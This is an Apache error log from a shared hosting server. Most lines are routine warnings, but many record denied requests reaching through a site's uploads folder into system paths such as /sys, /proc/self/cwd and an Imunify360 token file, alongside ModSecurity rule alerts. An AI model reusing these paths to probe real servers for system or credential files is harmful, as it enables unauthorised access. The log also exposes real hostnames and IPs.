[Fri Jul 17 09:45:31.332822 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:50698] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:31.351729 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/tpm_tis/bind
[Fri Jul 17 09:45:31.533673 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:31.601266 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:50700] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:31.627650 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:31.815050 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:31.906647 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.112068 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.182871 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.272408 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.392721 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.548959 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.641940 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.821088 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:32.870382 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:50766] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:33.122561 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:50782] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:33.197813 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:33.287751 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:33.614809 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:50820] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:33.742617 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:33.834874 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:33.925759 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:34.200821 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:04/subsystem/drivers/tpm_tis/unbind
[Fri Jul 17 09:45:34.289810 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:34.380212 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:34.655835 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:34.747471 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:35.315290 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:35.385766 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/acpi-ged/uevent
[Fri Jul 17 09:45:35.478068 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:35.666027 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:01/subsystem/drivers/hpet/bind
[Fri Jul 17 09:45:35.940838 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:35.975019 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:36.031638 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/ohci-pci/unbind
[Fri Jul 17 09:45:36.129282 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:45:36.247205 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:36.307529 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:36.401106 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:36.489486 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:36.764492 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:36.856854 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:36.876725 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:50988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:36.945224 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:37.086985 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:37.128629 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:37.242075 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:37.310437 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0303:00/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 09:45:37.402684 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:37.493257 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:37.624662 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:37.675614 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.043172 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.141004 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.347525 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.373779 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.505413 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.602768 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:02/subsystem/drivers/hpet/bind
[Fri Jul 17 09:45:38.664962 2026] [security2:error] [pid 2019501:tid 2019501] [client 157.55.39.197:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almsZ7EWOaI5pmYo9fnYxwAAAAA"]
[Fri Jul 17 09:45:38.665013 2026] [security2:error] [pid 2019501:tid 2019501] [client 157.55.39.197:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almsZ7EWOaI5pmYo9fnYxwAAAAA"]
[Fri Jul 17 09:45:38.785399 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/cirrus/module/uevent
[Fri Jul 17 09:45:38.877986 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.967932 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:38.975218 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/events/61/eview"] [unique_id "almsag5GPQ6hs4VrfMpL6QAAAAY"]
[Fri Jul 17 09:45:38.975616 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/events/61/eview"] [unique_id "almsag5GPQ6hs4VrfMpL6QAAAAY"]
[Fri Jul 17 09:45:38.975889 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/events/61/eview"] [unique_id "almsag5GPQ6hs4VrfMpL6QAAAAY"]
[Fri Jul 17 09:45:39.060350 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:39.150455 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:39.332870 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/manualmx
[Fri Jul 17 09:45:39.366418 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:39.423912 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:39.514888 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:39.564639 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:39.971410 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:40.004643 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:40.066776 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:40.287934 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:40.389011 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:40.909416 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:40.941679 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.048398 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.118443 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.118541 2026] [core:crit] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/lock/lmlib/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/lock/lmlib/' is executable
[Fri Jul 17 09:45:41.175888 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.356072 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.416102 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:41670] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:41.448481 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:02/subsystem/drivers/hpet/uevent
[Fri Jul 17 09:45:41.663650 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.924459 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.970677 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:41.999311 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/tmp/20250817-010603-aKDdo5FR6CDARQfv1ArFygAAAAE-file-NWLcju
[Fri Jul 17 09:45:42.090264 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/firmware/dmi/entries/127-0/position
[Fri Jul 17 09:45:42.350327 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:42.459792 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/usr/tmp/20250825-234701-aKyonV-vDJVAAt3fth48NAAAABs-file-CNS86S
[Fri Jul 17 09:45:42.640094 2026] [autoindex:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/cagefs/
[Fri Jul 17 09:45:42.737947 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:42.837213 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:42.959676 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:43.017549 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:43.051667 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:41728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:43.109440 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/imunify360/iaid-token.i360bak
[Fri Jul 17 09:45:43.201558 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:43.382539 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/usr/tmp/20251006-231638-aOQAfklFs1vIIJdP0LiYagAAAAs-file-zdomcp
[Fri Jul 17 09:45:43.407954 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/resour/1288155810.pdf"] [unique_id "almsb_wooI4qY7Jg93pfDQAAABM"]
[Fri Jul 17 09:45:43.408312 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/resour/1288155810.pdf"] [unique_id "almsb_wooI4qY7Jg93pfDQAAABM"]
[Fri Jul 17 09:45:43.408622 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/resour/1288155810.pdf"] [unique_id "almsb_wooI4qY7Jg93pfDQAAABM"]
[Fri Jul 17 09:45:43.711834 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:43.802869 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:43.895869 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.009574 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.179518 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.257985 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.349018 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.714949 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.811546 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.905832 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:44.990680 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.000517 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/QEMU0002:00/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 09:45:45.090395 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.092952 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.186247 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.278221 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.457711 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.554157 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.747040 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:45.839762 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/PINGv6/sanity_checks
[Fri Jul 17 09:45:45.846279 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.022323 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.120535 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.216371 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.314869 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.497946 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.590347 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.654648 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.686285 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:46.780424 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/xfs_ili/aliases
[Fri Jul 17 09:45:46.994986 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.092350 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.143797 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.234696 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.325977 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.417360 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.507787 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.598095 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.626318 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsc1CBpfuYyhJ140vclgAAAB4"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:45:47.626357 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsc1CBpfuYyhJ140vclgAAAB4"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:45:47.708788 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:47.779468 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.075201 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.231644 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.327544 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.438030 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.528545 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.601204 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.884400 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:48.975746 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:49.158335 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:49.249007 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
